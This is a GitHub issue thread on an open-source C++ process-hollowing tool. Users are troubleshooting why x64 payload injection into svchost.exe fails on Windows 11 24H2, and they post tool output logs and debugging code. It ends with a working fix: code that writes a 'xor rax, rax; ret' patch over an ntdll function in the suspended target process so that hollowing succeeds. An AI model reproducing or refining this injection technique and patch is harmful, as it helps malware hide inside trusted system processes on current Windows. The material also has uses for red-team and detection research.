adamhlt / Process-Hollowing

Process Hollowing in C++ (x86 / x64) - Process PE image replacement
GNU General Public License v3.0
122 stars 27 forks source link

x64 not working on windows 11 24H2 #2

Open idigger opened 2 weeks ago

idigger commented 2 weeks ago

hi, x64 not working on windows 11 24H2

PS C:\test> ./runpe payload64.exe c:\windows\system32\svchost.exe
[PROCESS HOLLOWING]
[+] PE file content : 0x000002C72FACFFF0
[+] The PE file is valid.
[+] Target Process PEB : 0x000000C6C856B000
[+] Target Process Image Base : 0x00007FF7B0B70000
[+] Source PE Image architecture : x64
[+] Target PE Image architecture : x64
[+] Architecture are compatible !
[+] Source Image subsystem : 0x2
[+] Target Process subsystem : 0x2
[+] Subsytems are compatible.
[+] The source image has a relocation table.
[+] Memory allocate at : 0x0000028288840000
[+] Headers write at : 0x0000028288840000
[+] Section .text write at : 0x0000028288841000.
[+] Section .rdata write at : 0x0000028288851000.
[+] Section .data write at : 0x0000028288859000.
[+] Section .pdata write at : 0x000002828885D000.
[+] Section .rsrc write at : 0x000002828885E000.
[+] Section .reloc write at : 0x000002828885F000.
[+] Relocation section : .reloc
[+] Relocations done.
[+] The injection has succeed !

but payload64.exe not running.

It's ok on before windows 11 24H2

adamhlt commented 2 weeks ago

Hello, did you try with another program ?

idigger commented 2 weeks ago

I've tried other programs. They all not running.

idigger commented 2 weeks ago

Add bellow code

    if (!bSource32 && bHasReloc)
    {
        if (RunPEReloc64(&PI, hFileContent))
        {
            printf("[+] The injection has succeed2 !\n");

            HANDLE ps = OpenProcess(SYNCHRONIZE | PROCESS_QUERY_INFORMATION, FALSE, PI.dwProcessId);
            if (ps) {
                DWORD res = WaitForSingleObject(ps, 3000);
                if (res == WAIT_OBJECT_0) {
                    DWORD dwCode = -1;
                    GetExitCodeProcess(PI.hProcess, (LPDWORD)&dwCode);
                    printf("exitcode %x, %d\n", dwCode, GetLastError());
                }
                CloseHandle(ps);
            }

            CleanProcess(&PI, hFileContent);
            return 0;
        }
    }

output: exitcode c0000141, 0

idigger commented 2 weeks ago

x32 is ok!

PS C:\test> ./runpe payload32.exe c:\windows\syswow64\svchost.exe
[PROCESS HOLLOWING]
[+] PE file content : 0x00000238F29EFFF0
[+] The PE file is valid.
[+] Target Process PEB : 0x000000000300B000
[+] Target Process Image Base : 0x0000000000830000
[+] Source PE Image architecture : x86
[+] Target PE Image architecture : x86
[+] Architecture are compatible !
[+] Source Image subsystem : 0x2
[+] Target Process subsystem : 0x2
[+] Subsytems are compatible.
[+] The source image has a relocation table.
[+] Memory allocate at : 0x0000000003240000
[+] Headers write at : 0x0000000003240000
[+] Section .text write at : 0x0000000003241000.
[+] Section .rdata write at : 0x0000000003250000.
[+] Section .data write at : 0x0000000003256000.
[+] Section .rsrc write at : 0x000000000325A000.
[+] Section .reloc write at : 0x000000000325B000.
[+] Relocation section : .reloc
[+] Relocations done.
[+] The injection has succeed !

payload32.exe running ok.

idigger commented 2 weeks ago

payload.c

#include <windows.h>

int APIENTRY WinMain(
        HINSTANCE hInstance,
        HINSTANCE hPrevInstance,
        LPSTR lpCmdLine,
        int nCmdShow
        )
{
    MessageBox(0, "hello world", "Hi", MB_OK);
    return 0;
}
adamhlt commented 2 weeks ago

Thanks, I will do some test in a VM when I have free time.

idigger commented 2 weeks ago

At present, all x64 process-hollowing programs on the web do not work on windows 11 24H2, Looking forward to your good news.

davidepedrazzi commented 1 week ago

Inserting this code right after:

const BOOL bProcessCreation = CreateProcessA(lpTargetProcess, nullptr, nullptr, nullptr, TRUE, CREATE_SUSPENDED, nullptr, nullptr, &SI, &PI);
if (!bProcessCreation)
{
    printf("[-] An error is occured when trying to create the target process !\n");
    CleanAndExitProcess(&PI, hFileContent);
    return -1;
}

fixed the issue for me:

const auto NtdllBase = reinterpret_cast<PBYTE>(GetModuleHandleW(L"ntdll.dll"));

if (!NtdllBase)
{
    printf("[-] Failed to get the base address of ntdll.dll !\n");
    CleanAndExitProcess(&PI, hFileContent);
    return -1;
}

const BYTE Patch[4] =
{
    0x48, 0x31, 0xC0, // xor rax, rax
    0xC3 // ret
};

if (!WriteProcessMemory(PI.hProcess, NtdllBase + 0x7BE0, Patch, sizeof(Patch), nullptr))
{
    printf("[-] Failed to patch ntdll.dll!RtlpInsertOrRemoveScpCfgFunctionTable !\n");
    CleanAndExitProcess(&PI, hFileContent);
    return -1;
}

Looking forward to a better solution.

You might want to take a look at https://ynwarcs.github.io/Win11-24H2-CFG